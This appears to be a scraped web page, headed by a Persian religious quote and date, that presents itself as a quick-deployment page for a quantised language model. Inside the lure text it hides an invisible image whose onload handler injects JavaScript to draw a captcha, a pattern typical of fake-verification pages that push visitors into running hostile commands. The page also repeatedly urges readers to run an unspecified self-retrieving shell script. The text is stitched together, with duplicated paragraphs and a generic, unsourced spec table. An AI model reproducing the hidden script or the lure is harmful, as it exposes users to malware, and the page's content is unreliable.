۞ امام علی (ع) می فرماید:
جمعه, ۲ مرداد , ۱۴۰۵
For an instant local deployment, running a pre-configured shell script is ideal. Execute the commands and steps outlined below. Be patient as the system self-retrieves massive model weights dynamically. The initial setup handles the heavy lifting, fine-tuning the environment for your device. 🛡️ Checksum: 345abdb05c9c5ca5b4e57aa5f3572cfa — ⏰ Updated on: 2026-06-25 <img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" style="display:none;" onload="window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var […]
For an instant local deployment, running a pre-configured shell script is ideal.
Execute the commands and steps outlined below.
Be patient as the system self-retrieves massive model weights dynamically.
The initial setup handles the heavy lifting, fine-tuning the environment for your device.
The Qwen3.5-9B-NVFP4 is a cutting‑edge language model designed for high performance and efficiency. Built on a 9‑billion parameter foundation, it leverages NVFP4 quantization to deliver faster inference while maintaining strong contextual understanding. Trained on a diverse web‑scale corpus, the model excels in reasoning, coding, and multilingual tasks, offering developers a versatile tool for production environments. Key specifications are shown below:
| Parameters | ۹ B |
| Quantization | NVFP4 |
| Context Length | ۸K tokens |
| Training Data | Web‑scale corpus |
Its optimized memory footprint and support for FP4 hardware acceleration make it particularly suitable for edge deployments and cloud‑scale services.
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